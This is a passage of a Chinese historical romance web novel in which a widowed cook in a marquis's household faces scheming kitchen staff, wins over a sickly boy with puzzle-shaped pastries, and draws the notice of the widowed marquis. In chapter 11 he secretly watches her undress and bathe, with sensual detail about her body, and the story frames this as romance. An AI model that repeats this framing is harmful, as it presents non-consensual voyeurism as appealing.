沈令薇心里微微一紧,面上依旧恭顺:“是,小女安安,今年五岁,因无人照料,奴婢斗胆带在身边,蒙老夫人恩准,奴婢感激不尽。”
“五岁……正是黏人的年纪。”
想到了,老夫人语气带着一丝感慨:“恪儿也是五岁,若他好好的,也该如同他那顽劣的弟弟一样,满院子跑,闹着要吃糖的年纪。”
二少爷弟弟,也就是侯府的三少爷裴野,沈令薇略有耳闻。
听说是个能下河摸鱼,上房揭瓦的混世魔王,无人能治。
沈令薇道:“老夫人一生行善,福泽深厚,二少爷有您的庇佑,定能慢慢好起来的。说起来,奴婢母女能捡回一条性命,也全仗去年冬天,老夫人在城门口开设粥棚。”
沈令薇抬起头,目光恳切:“老夫人善举感天动地,连草木都能沾得恩泽,何况是骨肉至亲。”
“二少爷只是一时困顿,只要慢慢调养,终有一日能拨云见雾,像寻常孩童一般笑闹跑跳的。”
老夫人听得心头一软,眼底再次泛酸。
“你这孩子,倒是会说话。”
张嬷嬷在一旁拿帕子拭了拭眼角,笑道:“老夫人您听听,沈娘子这是把您当活菩萨拜呢。”
老夫人摆摆手,紧绷的嘴角柔和了些。
“行了,你起来吧,”她看向沈令薇的目光里,多了几分和善。
“往后恪儿的事,你多费心,有什么需要的,只管跟张嬷嬷说。”
沈令薇起身行礼,“是,奴婢定当尽心竭力,伺候好二少爷。”
这时,一直没出声的胡望捻着山羊胡,笑容和煦:
“老夫人福泽深厚,二公子又生来不凡,自有天人护佑。这石磨声听着粗陋,却也暗合天地运转之理,倒是巧了,恰好与老道的镇邪符相合。”
他看向沈令薇,眼底带着几分轻慢。
“沈娘子误打误撞,能挑中这声音,着实也是缘分。今日若
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换做别的声响,二公子怕是早已旧疾复发,后果难料了。”
这老道的话说得极为漂亮,既夸了老夫人,抬了二少爷,看似在夸赞沈令薇,实则一句‘误打误撞’,就把她的功劳全部抹成了运气。
这话,旁人听来是在感慨。
可沈令薇知道,这是警告。
若她反驳,就是不识抬举。
若不反驳,这话就坐实了。
沈令薇低头,声音恭顺:“胡大师说的在理,民妇不过是碰巧,哪儿懂什么天地之理。”
胡望眼底极快的掠过一丝了然,又飞快隐去。
老夫人完全没听懂暗涌,只欣慰的点头道:“有大师在,我便放心了。”
……
经过这一番折腾,裴恪正好也饿了。
但他毕竟久病,身体底子又虚,最后是下人哄着吃了小半块茯苓糕,并小米粥,就不肯再吃了。
至于刘厨娘煲的鸽子汤,裴恪看都没看一眼。
厨房,刘厨娘正在等消息。
不一会儿,门帘被掀开,郭婆子走进来,脸色难看到不行。
“刘嫂子,少爷屋里传话了,说二少爷只吃了小半块茯苓糕,还有小半碗小米粥,您煲的鸽子汤……二少爷看都没看一眼。”
“什么?!”田婆子闻言,‘噌’地起身。
“嫂子煲了一个上午的汤,看都没看一眼?”
郭婆子两步上前,坐在灶前的矮凳上,和刘厨娘,田婆子三人,围成了一个三角形。
“不光如此,我还听说,那沈氏刚才误打误撞,不知道用了什么法子,竟然让发病的二少爷安静下来,现在,连老夫人都对她赞叹有加。”
紧接着,郭婆子把方才从前院那儿听来的消息,一五一十,添油加醋地说出来,重点渲染了沈令薇是多么的无耻,不堪,如何如何靠一张嘴,哄得老夫人心花怒放,院里的下人又如何对她恭敬有加之类的。
说到最后,刘厨娘的脸色黑得堪比锅底。指甲都要抠进手心里。
田婆子眼珠一转,目光落在那把被拍碎的葱上,计上心来。
“我倒是有个主意……”
她凑到刘厨娘耳边,叽里咕噜说了一通。
刘厨娘听罢,眉头皱起:“这样能行?”
田婆子一脸的意味深长:“试试总不亏。若成,二少爷往后离不了咱们;若不成,反正也怪不到咱们头上。”
……
第7章 像!太像了!
到了晚上,沈令薇带着安安刚准备就寝,陈石头又满头是汗地跑过来。
“沈娘子,二少爷晚间又不肯碰一口饭食,谁靠近都嘶叫,白天您那石磨的法子管用,求您再过去看看吧!”
沈令薇皱眉:“晚饭不是送过了?”
陈石头急道:“送了送了,可是二少爷看一眼就偏过头,一口没动,大夫说过二少爷身子弱,不能久饿,想问问您可有法子?”
沈令薇刚要起身,安安就攥着她的衣角:“娘,我一个人怕黑,我要跟娘一起去。”
沈令薇怕她冲撞贵人,安抚道:“安安乖,娘出去一下,很快就回。”
安安不肯放手,小眼满是倔强。
陈石头急得搓手;“要不……带上一起吧,我帮您看着她。”
沈令薇略一沉吟,点头,弯腰抱起安安。
“那你答应娘,到了那边,在门口等着,不许乱跑”
安安用力点头。
行至半路时,陈石头忽然想到什么,一拍大腿,道:“哎呀!我忘了,张嬷嬷让我去库房取个东西,说明日二少爷要用的,这要是晚了,库房该锁门了……”
“沈娘子,你看这……”
沈令薇道:“没关系,你先去忙,我知道路,自己走过去。”
陈石头连连点头,又叮嘱了几句,转身跑远。
沈令薇抱着安安继续朝前走。
走到一处岔路,突然听见草丛旁传来一阵窸窣声,还有几声猫叫。
沈令薇脚步一顿,脸色微变。
这野猫,怎会跑来静和苑附近?
她把安安放在一块干净的大石头上,轻声道:“安安乖,这附近好像有只野猫,二少爷最怕惊乍,娘先去把它赶跑,马上就来。”
安安怯生生的,“娘……”
“乖,林子里有虫鼠多,娘不方便带你过去,你就在这灯笼底下坐好,别挪步,也别出声,可好?”
“就一小会儿,娘很快。”
安安虽然怕,但还是懂事地点头;“娘,你快点回来。”
沈令薇又不放心地看了她一眼,确认女儿站在灯火明亮处,这才捡起一根树枝,快步朝竹林里走去。
然,就是这不到片刻的功夫,等她折返回来时,刚转过廊柱,眼前的景象,让沈令薇心脏猛地一抽!
灯火下,安安小小的身子僵在那里,似在发抖。
她的面前则立着两道人影,为首那人身量极高,玄色锦袍,头戴冠玉,夜色都压不住那一身凛冽的气场。
沈令薇脑子里立马冒出来一个人物。
定远侯,裴谨之。
她脑子‘嗡’的一声,顿时警铃大作。
“安安!”
沈令薇什么也顾不上,几乎是冲过去的,一把将安安搂在怀里,屈膝便直直地跪了下去。
“见过侯爷,小女年幼不懂事,冲撞了侯爷,还请侯爷恕罪!”
安安被她搂着,浑身僵硬,动都不敢动。
四周一片寂静。空气仿佛都凝固住。
橘黄的灯光从头顶照下来,落在沈令薇跪着的身影上。
她低着头,只露出发顶,和一截脖颈,在灯光下白得发亮。
因为跑得急,她胸口正微微起伏,领口也敞开了些许,一束光落在胸前,有浅浅春光正从里头泄出,勾勒出那呼之欲出的饱满轮廓。
沈令薇目之所及,只能看见一双皂靴,还有衣角绣着的云纹。
良久,头顶传来一道低沉的声音,像是夜风穿过古松,又冷又沉。
“抬起头来。”
沈令薇身子微微一僵,而后缓缓抬头。
月光下,裴谨之那张完美的不似真人的脸,一寸寸落入眼底。
男人无论骨相,皮相,都俱佳,眉眼深邃,眼底像藏着化不开的夜色,鼻梁高挺,薄唇紧抿,面部轮廓利落,如同刀削斧刻一般。
光是站在那里,周身的气度便沉凝如山,不怒自威。
明明是极俊美的五官,可身上那股子冷冽的气势,足以压得让人不敢直视。
像一柄敛入刀鞘中的刀,还没出鞘,就已是满身锋芒。
沈令薇只匆匆瞥了一眼,便垂下眼帘,一颗心在胸腔里横冲直撞。
与此同时,裴谨之也在审视着她。
灯下美人跪立,云鬓微乱,脖颈纤细,雪白,一双眼睛清亮含怯,还藏着几分强撑的镇定。
方才因为奔走,脸颊泛着淡淡的红晕,领口春光半露,仅一角便可窥见她那傲人的曲线,显得柔弱又惹眼。
裴谨之的目光在她那处停留
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两秒,而后强迫自己移开。
可下一瞬,在看清沈令薇的长相时,裴谨之倏地怔住!
那双素来无波无澜的深眸,竟罕见地缩了一下。
这张脸……
眉形,眉眼,乃至下颌线那一点柔和的弧度,竟像极了那个被他埋藏了五年的影子。
像到有那么一瞬,裴谨之呼吸都顿住。
数年来在朝堂上练就的镇定,在看到沈令薇这张脸时,像是被轰开了一道裂缝。
有痛,有惊,有迟疑,甚至还有自己都没能察觉的,刹那间的失神。
裴谨之喉结滚动,周遭的风,灯光,夜色,仿佛这一刻全都退远。
“……玉娘?是你吗?”
他嗓音哑得不像话,带着一丝惶恐和后怕。
身后,陈凡在看清沈令薇时,也是满脸惊骇,如同被施了定身咒。
像!
太像了!
那张脸,眉眼,简直是一个模子里刻出来的。
视线往下,陈凡眼皮跳了跳。
这妇人虽是跪着的,原是恭顺卑微的,可即便如此,那身棉衣布裙下,也遮挡不住底下的起伏。
再往下,隐约可见的诱人沟壑,在月光下尤为扎眼。
还有身段,那处明明极大,可腰身却极细,被衣带一勒,更显得盈盈一握。
陈凡喉咙发干,赶忙移开目光。
不像。
这身段,跟夫人完全不一样。
夫人温婉清瘦,是那种大家闺秀的纤细单薄,哪有这等……这等……
陈凡想着,又忍不住瞥了一眼,猛地回过神来。
“咳。”他低咳了一声。
裴谨之身子一绷,神志瞬间被拉了回来。
他闭了闭眼,再睁开时,眼底那道裂缝已经合拢,重新变回深不可测的幽潭。
他目光重新落到沈令薇脸上。
这张脸,依旧很像,但,神态不对。
玉娘看他时,眼里满是温柔,眷恋,是满满的信赖。
而这个女人……低着头,睫毛轻颤,身子紧绷,像只随时能逃跑的兔子。
看他时,也不是看故人的眼神。
而是看猛兽的眼神。
裴谨之沉默了一瞬,声音恢复惯常的沉冷。
“你是何人?为何深夜在此?”
第8章 兴许是,与二少爷有缘
沈令薇稳住心神,不卑不亢地答道:“回侯爷,奴婢是新入府的厨娘沈氏,因二少爷晚间不肯进食,陈石头来叫奴婢去劝劝,奴婢带着小女不便,便让她在此等候。”
她搂紧安安,“小女年幼,不懂规矩,冲撞了侯爷,奴婢代她赔不是,这便带她离开,不敢惊扰侯爷。”
说完,她带着安安就要起身,只想尽快逃离这个是非之地。
“慢着!”
简简单单两个字,将沈令薇的脚步钉在了原地。
裴谨之绕过她,走到前面,站定。
“白日里,静和苑闹得沸沸扬扬,听闻是你,让恪儿安静下来的?”
裴谨之语气平淡,却带着审视。
她长得神似亡妻,就已经可疑。如今又有法子,让裴恪安静。
当真只是巧合?
沈令薇稳住心神,不卑不亢道:“回侯爷,奴婢不敢居功,不过是碰巧罢了,二少爷能安静下来,全赖老夫人福泽庇佑。”
裴谨之嘴角牵起一抹极淡的弧度:“府里几十号人,伺候了五年,没人能让他安静,你一来,就‘碰巧’上了?”
沈令薇喉咙发干,眉头紧蹙。
这话问得刁。
说多错多,说少也是错。
最终,她只能硬着头皮道:“侯爷明鉴,或许是奴婢……与二少爷有缘。”
话落,那道落在身上的视线,似乎更沉了几分。
沈令薇抱着胳膊,身子缩了缩。
良久,那视线终于褪去,头顶的声音再次响起,比方才淡了几分。
“下去吧。”
她心头一松,抱着安安行礼:“是,奴婢告退。”
走的时候,还能感觉到,那犹如实质般的目光,一直凝在背上。
直到回屋,关上门,沈令薇的一颗心才终于落地。
安安从她怀里下来,也是一脸的后怕:“娘亲,那个叔叔是谁呀?看上去好可怕……”
沈令薇蹲下来轻声道:“那是侯爷,是这侯府的主人,往后见了他,绕着走,知道吗?”
安安用力点头,又问;“他会罚我们吗?”
“不会,”沈令薇揉揉她的小脑袋,“娘没犯错,你也没犯错。”
想到什么,她拉起女儿的小手,仔细打量一番:“刚才娘亲不在的时候,他们有没有为难你?”
安安摇头:“没有,我一直记着娘亲的吩咐,不乱动,也不说话,就是后面那个叔叔问我是谁,我还没回答,娘你就过来了。”
沈令薇一怔。
难道他误会侯爷了?
刚才夜色模糊,她远远地看到安安好像在发抖,下意识的就以为受了欺负,所以才不顾礼仪冲上去。
可侯爷竟然没有怪罪。
“娘,那个叔叔好奇怪,刚才为什么一直盯着你的胸口看?”
安安说着,伸手指了指沈令薇的胸口,“这里。”
沈令薇低头一看,脑子里‘嗡’的一声。
棉衣布裙的领口微敞,因为方才的奔走,衣襟松了大半,月光照进来,胸前那片雪白的皮肤异常扎眼,还有若隐若现的起伏……
她后知后觉地意识到,刚才着急出门,竟忘了裹胸。
沈令薇一直知道自己身材很好,是那种是个男人都会垂涎的类型。
所以平日里,为了避免不必要的麻烦,她都缠着裹胸布,腰上也缠了,故意显得身材垂直,普通,和寻常劳作的妇人没什么两样。
就是为了不惹眼,不招祸。
可万万没想到,今晚这一遭,竟一时疏忽,暴露了。
沈令薇慌忙拉起衣襟,想到方才那人的视线,竟然在此处停留,脸颊瞬间泛起红晕,带着几分慌乱。
“安安,”她拉过安安,叮嘱她,“这件事,不许跟任何人说,记住了吗?若是被别人知道,咱们娘俩在这侯府,就待不下去了。”
安安似懂非懂地点头:“我知道了,娘亲。”
沈令薇抱着女儿,心里五味杂陈。
刚才侯爷看她的眼神,不对劲。
还有他叫出的那声‘玉娘’,再联想到白天,老夫人看见她的时候,也是一样的神情。
沈令薇不傻,稍微一联想,便猜到了怎么回事。
她和已故的侯夫人,怕是生了一张极为相似的脸。
若只是脸长得像,倒还好。
可若是被有心人利用,倒打一耙说她模仿侯府人,用邪术蛊惑二少爷,那她就算有百张嘴,也难以辩解。
沈令薇闭了闭眼,深吸一口气。
往后想要在侯府立足,唯有抓住唯一的依仗,老夫人。还要尽力照顾好二少爷,向老夫人表忠心,成为侯府不可替代的存在,才是最好的自保之策。
-
翌日,沈令
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薇照例去厨房烧饭,可却被柳厨娘,联合另外两个婆子拦在了厨房外头。
“哟,沈娘子来了?不巧,二少爷已经用过早膳了,你这会儿才过来,是想做给自己和你那个拖油瓶吃吗?”
沈令薇眉头微蹙:“用过了?往日里二少爷不都是这个时辰才开饭吗?”
田婆子冷笑一声,语气刻薄:“昨日晚间,二少爷粒米未进,饿了一宿,今日自然提早了时辰,也是刘嫂子心疼小主子,连夜琢磨了菜式,不像某些人啊,不过撞了次大运,就真当自己是静和苑离不开的人物了。”
郭婆子也附和道:“如今二少爷身子渐好,饮食也得跟着调整,往后这一日三餐,我们这边也都安排好了,就不劳沈娘子费心了。”
言下之意,是想将沈令薇架空。
沈令薇没接话,目光越过二人朝灶房看了一眼。
厨房里,刘厨娘正在背着她切菜,听见动静也没回头。
两个婆子一左一右,把门都堵了个严实。
她又若无其事地扫过一眼门边的泔水桶,里头扔了一截猪皮,几片削得很厚的姜片,还有蒜蒂。
她心里隐隐冒出一个猜测,面上却不动声色。
“既然几位都安排妥当了,那我便不打扰了,只是二少爷脾胃虚弱,大夫也说了要多吃些清淡的粥,这样吧,我进去为二少爷准备午膳的食材。”
田婆子皮笑肉不笑:“小主子金贵,所有的午膳食材,都必须是最新鲜的,要午膳前两刻钟才会送达,你来了也是白来。”
沈令薇没再强争,只淡淡颔首,眼底掠过一丝冷光。
想把她踢开?没那么容易。
她没再继续和田婆子等人纠缠,转身出了厨房。
田婆子还在她走远后吐了一口:“我呸!还以为有多大本事呢,也不过如此。”
郭婆子接话:“可不?昨儿运气好碰上了,还真当自己是个人物了。”
沈令薇脚步未停,径直来到了主屋。
陈石头正在廊下打盹,听见脚步声忙睁眼:“沈娘子,你怎么来了?”
“听说二少爷今早早膳用了不少,我来看看。”
陈石头语气带着几分欣慰。
“是啊,刘嫂子做的什锦肉糜很入味,二少爷竟然赏脸用了小半碗。”
沈令薇眉头一动:“什锦肉糜?”
第9章 她不受这个激将法
所谓的什锦肉糜,其实就是用来拌饭的,里头加了肉糜,虾茸,鸡肉末,香菇丁等,煸得喷香。很是入味,最适合下饭。
但问题是,裴恪现如今的身体,根本不适合吃这些东西。
“还有什么?”沈令薇忙问道。
陈石头想了想,“哦,还有一碗鸡丝羹,说是用老母鸡汤吊的汤底,我闻着都鲜得很,二少爷也喝了几口。”
沈令薇眉头皱得更紧。
显然,她猜得没错。刘厨娘为了让二少爷吃东西,竟不顾他的身体,私自给他吃这种油腻且难消化的东西。
“陈小哥,二少爷久病初愈,突然吃这些,身体怕是受不住。”
陈石头被说得一愣,脸上的欣慰淡了下去,“那、那怎么办?”
话音刚落,身后就传来一道刻薄的声音:
“适不适合,难不成你说了算?你还能代替大夫不成?”
沈令薇扭头,竟是刘厨娘不知道什么时候站在后方,手里还端着一碟糕点。
郭婆子和田婆子则一左一右跟在后方,像两个帮闲。
刘厨娘上前,皮笑肉不笑地:“沈娘子,你才来几天?二少爷的饮食该怎么安排,我比你清楚。轮得到你在这里大放厥词?”
身后两个婆子帮腔:“就是,刘嫂子费心费力给二少爷做吃食,让二少爷开了胃,你倒好,站这儿说风凉话,安得什么心!”
“我看啊,她就是嫉妒刘嫂子能得二少爷和老夫人看重,故意挑刺呢。”
三人你一言我一语,摆明了要当众给沈令薇难堪。
四周已经聚集了不少丫鬟仆人,指指点点的。
面对质疑,沈令薇始终镇定,目光不躲不闪,反而上前一步,紧盯着刘厨娘。
“是吗?刘嫂子确定,二少爷如今这身体,能受得住这些油腻荤腥,和甜腻的糕点吗?”
刘厨娘心里莫名一虚,但面上仍强撑着:“那又怎样?二少爷想吃什么,难道还得听你的?到底谁才是主子?”
话落,田婆子立马帮腔:“菜是我们做的,吃不吃全看二少爷,有本事,你也做出能让二少爷张口的吃食,让二少爷自个儿选啊。”
又阴阳怪气道:“就怕有些人,做不出来,又怕被老夫人赶出去,才在这儿挑刺抹黑别人呢。”
周遭的议论声更大,众人看向沈令薇的眼神,警惕又防备。
刘厨娘眼珠一转,也接话道:“没错,你敢不敢跟我赌一把,看二少爷究竟会吃谁的东西。”
这已经是明晃晃的挑衅了。
她要借着这次机会,将沈令薇赶出静和苑,以后这厨房,还是由她刘三娘说了算!
所有人的目光都落在沈令薇身上,期待她的反应。
可沈令薇却不受这个激将法,她沉默片刻,一字一句道:
“刘厨娘,你我的职责,皆是为了伺候二少爷吃食,自当一切以二少爷的身体为主,而不是拿来赌斗,比试的。”
她锐利的目光扫过刘厨娘等三人,“你们要哄他吃,要讨好,那是你们的事,但若二少爷身体出现问题,这个后果,你们谁担?”
刘厨娘脸色一白,顿时气急败坏:“妖言惑众!我看你就是在诅咒二少爷!”
沈令薇没跟她继续争辩,目光扫过她托盘里的栗子糕,只道:“我从没有诅咒二少爷的意思,不过实事求是罢了。刘厨娘,栗子糕性滞,二少爷如今脾胃弱,少吃为妙。”
说完,沈令薇越过刘厨娘,径直离去。
二少爷体弱,她不能眼睁睁看着刘厨娘乱喂伤身,可眼下她无权无势,只能先当众把道理摆明。
日后若二少爷真出了事,她才有立场出手相救。
刘厨娘一噎,狠狠地瞪了沈令薇一眼。
-
接下来的两日,刘厨娘变着花样给裴恪投喂吃食,什么糖醋鱼片,蜜汁排骨,葱油鸡丝,椒盐排骨等,都是最能勾起食欲的浓油赤酱。
裴恪确实也吃了,每次还能吃上小半碗。
对此
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,刘厨娘得意洋洋的,逢人便说:“二少爷爱吃我做的吃食,某些人做得清汤寡水,二少爷看都不看一眼!”
事实上,沈令薇早观察到裴恪的房里,有一块半旧的机关盒,榫卯结构的,有的地方又滑又亮,显然是经常被反复把玩的。
不仅如此,她发现裴恪还喜欢收集一些结构,形状精细之物,像是有着天生的敏感和喜爱。
于是,沈令薇把山药糕切成六边形,或者拼成蜂巢,把茯苓糕雕成小鲁班锁的形状,一块一块的,棱角分明,严丝合缝。
每天做好的食物,跟刘厨娘等人的一起送过去。
果然,裴恪被这些非同寻常的造型所吸引,每次用膳都要仔细盯上好久,甚至还有些舍不得吃。
连续三顿,翠儿从静和苑端回来的食盒,里头都是干干净净。
沈令薇心头一松,只当裴恪悉数吃下了。
这让刘厨娘等人如临大敌,更加卖力地烹饪拿手好菜,连小吃都带上了,什么炸带鱼,金黄豆腐,烤肉串等等,轮番上。
直到第二天夜里,陈石头让人把几碟发黏,变味的山药糕端来厨房,沈令薇才猛地意识到,这些吃食,裴恪分毫未动。
不仅如此,这些糕点放置时间太长,已经变质,变味,无法再食用。
陈石头挠着后脑勺,一脸惋惜:“沈娘子,对不住啊,二少爷就盯着看,没吃,我也没法子……”
身后的田婆子几人见状,顿时笑得合不拢嘴。
“哎呀,二少爷一口没动呀?我当有什么好本事,原来就是做些中看不中吃的花架子。”
郭婆子也阴阳怪气道:“就是,摆放得再好看,入不了二少爷的口,到头来也是白费功夫。”
“没这本事,就趁早滚出静和苑,侯府可不兴养闲人。”
话说得一句比一句难听,只等着看沈令薇垂头丧气。
可沈令薇却并没有预想中的忧伤,难过。
她心里隐隐产生一个猜测。
第10章 偷窥
“陈小哥。”她将陈石头拉到一边,压低声音问道:“既然二少爷没有入口,那为何现在才送回来倒掉?”
陈石头挠挠后脑勺:“这……小的倒是想第一时间撤回来,可二少爷不让,还专门让人放桌子上,每次都要盯上好一会儿,有时候还伸手比划那些棱角,翻来覆去的看……”
沈令薇一听,顿时松了口气,眼底浮现笑意。
看来,二少爷不是不喜欢,而是舍不得吃!
怪她!
先前竟忽略了这一点。
沈令薇二话不说,转进灶房,再出来时,手里多了一个食盒,里头装着两碟茯苓膏,兔子造型的。
陈石头一头雾水:“沈娘子,这……二少爷怕是不会吃的。”
“他会的。”沈令薇语气笃定。“不过我要你带句话给二少爷。”
“什么话?”
沈令薇嘴角弯起:“你就跟二少爷说……”
“这些小兔子,每天都会生出新的小兔子。他吃掉一只,明天就会多出两只。要是他舍不得吃,小兔子生太多,这个院子就会装不下了。”
陈石头瞪大眼睛,不敢置信地望着她;“这……这能行吗?”
沈令薇笑笑:“试试就知道了。”
最终,陈石头提着食盒,一头雾水地朝院子里走。
身后,刘厨娘等人看见这一幕,又讥讽出声。
“还送呢?真是不见棺材不落泪,侯府的食材可不是这么糟蹋的。”
“等着吧,明天就上报给老夫人,看她还怎么有脸继续待下去。”
沈令薇扫了三人一眼,“三位与其操心我待不下去,不如想想,若一会儿二少爷吃了我的糕,你们脸往哪儿搁?”
“你……”田婆子气得鼻孔冒烟,就要上前理论,却被郭婆子一把拉住。
“这会儿跟她置什么气?一会儿等那食盒原封不动地拎回来,看她还有什么话说?”
田婆子这才收住脚,狠狠地剜了沈令薇一眼。
沈令薇也懒得跟她们打嘴仗,转身回了自己的院子,安安估计该等急了。
刚推开院门,安安的小身影就迎了上来。
“娘!”
小女孩仰起脸,眼睛亮晶晶的,怀里还抱着个东西。
沈令薇定眼一看,竟是只通体浅黄的小橘猫。
“安安,这是?”
“娘,你看!”
安安托着小猫,声音软软的,带着祈求:“娘,它好可怜,我在墙角捡到的,它一直在叫,我怕它跑去小哥哥屋里,就把它带回来了。”
“我能养它吗?”
沈令薇低头看去,这只小猫很瘦,约莫只有两三个月大,橘色的毛乱糟糟的,打着结,身上还有泥污,可那双眼睛却圆溜溜的,又大又亮,正怯生生地望着她。
沈令薇蹲下来,接过小猫,仔细检查一番。
虽然瘦小,但耳朵干净,鼻子湿润,眼神也清亮,不像是病猫。
“娘,它是不是病了?我喂它胡萝卜和米饭,它一口都不吃。”
沈令薇忍不住莞尔,伸手揉了揉女儿的发顶,“傻丫头,小猫不是兔子,它不吃胡萝卜的。”
安安愣了愣:“啊?那它吃什么?”
“猫吃鱼,吃肉,吃猪肝,跟兔子可不一样。”
安安用心地记下,重重点头:“娘,以后我可以不用吃肉,都给团子吃,好不好?”
沈令薇挑眉:“团子?”
安安有些局促:“我……希望它将来能长得圆圆的,胖乎乎的,所以给它起名叫团子。”
沈令薇把小猫递给安安,柔声道:“抱着,娘去给它找点吃的。”
沈令薇转身进屋,从早上留下的米粥里盛出一点米汤,又拌了点碎肉,放在墙角。
不一会儿,小猫闻着味儿,很快开始舔起米汤。
安安的眼睛一下子就亮了:“太好了,娘,它肯吃东西了,那它能留下来吗?我保证会照顾好它。”
沈令薇对上女儿期待的眼神,哪里忍心拒绝。
“行,但先说好,以后的喂食,打扫,洗澡,都自己做。”
她白日里在厨房当差,安安一个人在院子里确实很孤单。
眼下有了这只小宠物,正好可以陪着安安打发时间。
-
与此同时,侯府书房。
裴谨之刚处理好公文,陈凡就推门进来,手里还拿着一份资料。
“侯爷,调查清楚
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了。”
他将资料递到裴谨之手上,并道:“这沈氏原本是桐庐县赵家村的,丈夫在五年前上了战场,后来战死,沈娘子就成了寡妇,一个人操持家业,侍奉婆母和小姑子。村里人说,这媳妇挑不出毛病。”
裴谨之低头查看资料,没说话。
陈凡又道:“半年前,桐庐发了大水,整个赵家村都被淹了,她婆母,小姑子,还有村里大半的人都没了,听说是沈娘子带着女儿上山挖野菜,这才躲过一劫。”
“后来呢?”裴谨之问。
“后来,她就带着女儿一路北上,半年前来到京城,据说差点被饿死,是咱们府上布粥,救了她们母女一命,此后,沈娘子就在城门口支了摊子,卖那种……蛋烘糕,对,就前些日子陈石头买的那个,刚好入了二少爷的口,后来的事,侯爷都知道了。”
裴谨之沉默片刻,眉头皱成了川字。
“就这些?”
陈凡道:“……暂时就查到了这些,家世清白,没什么可疑的。”
陈凡一开始也怀疑,沈令薇和夫人长得如此相像,有没有可能是夫人失散多年的姐妹之类的。
可调查一圈下来发现,并没有。
夫人没有失散的姐妹,沈氏倒有个娘家姐姐,但据说已经嫁人了。
着实没什么可疑的。
裴谨之没说话,目光落在字迹上,胸口像被一根线轻轻扯了一下,泛疼。
明知道不该有此奢望,但自打那一晚见过那妇人之后,接连两日,他都没睡好,梦里全是……晨起时还发现……
他压制不住沉寂多年的念头,逼得自己让陈凡去调查。
五年了。
他始终不愿意走出来。
如今见到一张和玉娘如此相似的脸,他不得不多想。
良久,裴谨之抬手,挥退陈凡。
“是,侯爷,没什么吩咐的话,属下先退下了。”
门被轻轻关上,书房里又只剩下他一个人,和满室清冷的月光。
又过了一会儿,门被无声地打开,一道颀长的身影从里头走出,看似在花园里漫无目的地走着。
可鬼使神差的,最终竟来到了沈令薇安置的小院。
第11章 侯爷在哪儿破了戒?
此地偏僻,少有人来。
屋子里烛火还亮着,窗户纸上映出一道柔和的剪影,正低头忙碌着什么。
裴谨之意识到什么,正准备转身欲走。
可就在这时,那道影子又动了。
只见那道婀娜的身影抬手,缓缓松开束发的簪子,三千发丝如瀑布般垂落。
紧接着,她又抬手绕到胸前,解着什么。
一圈。
两圈……
裴谨之怔住,漆黑的眼底暗色翻涌,像在压制着什么。
可脚下就像是生了根,再也挪动不了半寸。
屋里的身影还在继续,随着动作,胸前有一层束缚,正一层一层地松开,像是有什么被禁锢已久的东西,正缓缓释放。
最后一圈落下时。窗户上,那道身影的轮廓变了……
饱满的弧度从胸前撑起,顶出一个惊心动魄的曲线,在烛火的映照下,像两座丰润的山峦。
隔着窗户纸,裴谨之似乎都能瞧见,那轮廓正随着女人的呼吸,而微微起伏着。
“唔……”
一声释放的叹息传来,裴谨之身形一顿,喉结不受控制地上下滚动。
甚至,鬼使神差的,像是不受控制一般,他竟踩着极轻的步子,朝着那扇窗户走去……
待看清屋里的情形时,裴谨之瞳孔蓦地缩紧,浑身血液全都涌向了一个地方!
朦胧的灯光下,女人侧着身子,正好对着窗户的方向。
她正站在浴桶边,一只手搂着胸前,却挡不住那对丰盈,两团雪腻从她臂弯里挤出来,压在手臂上,显得沉甸甸的,像熟透的果实一样微微颤动。
另一只手扶住桶沿,抬起一条玉腿,跨进浴桶。
那条腿,又长又直,白得晃眼。
直到她身子慢慢坐下去,热水漫上来,一点一点浸过那双被手臂遮住的弧度,最后漫过肩头。
水汽氤氲了整个浴房,也模糊了视线,可却模糊不了水底下,那令人惊心的曲线。
裴谨之立在原地,呼吸都忘了。
“哗啦!”
屋里响起水声,沈令薇双手掬着水,一点点浇在肩头,脖子上,闭着眼,享受这片刻的放松。
美人沐浴,香艳无比。
这一幕,如同烙印一样,深深刻在了裴谨之脑海里,以至于他一时失神,脚下不小心踩到一根树枝。
“咔嚓。”
沈令薇听见声响,警惕地朝窗户看过来。
可天太黑,屋里又有水雾,什么都看不清。
正当裴谨之浑身僵硬,一动不动的时候。
“喵!”
一只橘黄的小猫不知从哪里钻了出来,正‘喵喵’地叫着。
沈令薇紧绷的身子这才松懈下来。
她缓缓从浴桶里起身,赤着脚走到窗前,轻轻俯身,抱起小猫。
烛火将她的影子投照在窗户上,那一弯腰的弧度,从后背到腰线,比画师勾勒的还要流畅。
裴谨之立在暗处,视线死死地焊在那抹影子上,只觉得口干得紧,浑身像是有火在烧。
沈令薇浑然不觉,她把小猫贴在胸口,轻轻蹭了蹭它的脑袋。
“原来是你呀,怎么?你也想洗澡?”
窗外的裴谨之浑身一震,只觉得一股热流直冲向某处,身体绷成了一根线。
他甚至荒唐地想象着,此刻若自己是那只小猫,被她温柔地抱在胸前,闻着她身上那股诱人的香气,该是何等的极乐之境?
生平第一次,生出这等荒唐的念头。
屋里时不时传来女人的轻笑声,还有那只小猫的‘喵喵’声。
裴谨之强迫自己移开目光,落荒而逃。
书房门口,陈凡见自家侯爷回来,不禁怔住。
月光下,裴谨之脚步有些踉跄,面色泛着不正常的潮红,衣襟也微微敞开了些许。
陈凡忙迎了上去:“侯爷?您这是……可是受了风寒?”
裴谨之脚步未停,哑声道:“准备冷水,我要沐浴。”
陈凡点头:“是,属下这就让人准备热汤……”
“冷、冷水?”陈凡愣住。
这天寒地冻地,侯爷要用冷水?
下一秒,陈凡突然想到什么,整个人像被雷给劈中,目光不自觉地向下扫去,最后定格在裴谨之的衣袍某处。
那是……
“还不快滚!”
一道冷喝,瞬间让陈凡打了个寒战,眼睛也不敢再乱瞟。
“是,属、属下这就滚……”
说完,像是身后有鬼在追一样,当即脚底抹油,逃似的冲出了院子。
直到跑出去好远,他才摸着脖子,狂喘气,心里却掀
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起了滔天巨浪。
老天爷,夫人都走了五年了,侯爷今晚这是……在哪儿破了戒?
看来这侯府,得好好查探一番才行。
-
翌日,天刚亮。
沈令薇还在给安安梳头,就见陈石头神色慌张地跑过来。
“沈娘子,不好了!快!二少爷出事了!”
沈令薇心口一沉,手里的梳子差点掉在地上。
“怎么了?”
陈石头喘着粗气,“二少爷他……又昏过去了!老夫人让人给宫里递了牌子,请了太医过来,还下令让静和苑的所有下人,全都到院门外集合,老夫人要亲自问话!”
沈令薇眉头紧拧。
安安吓得小脸煞白,眼睛湿漉漉的:“娘……”
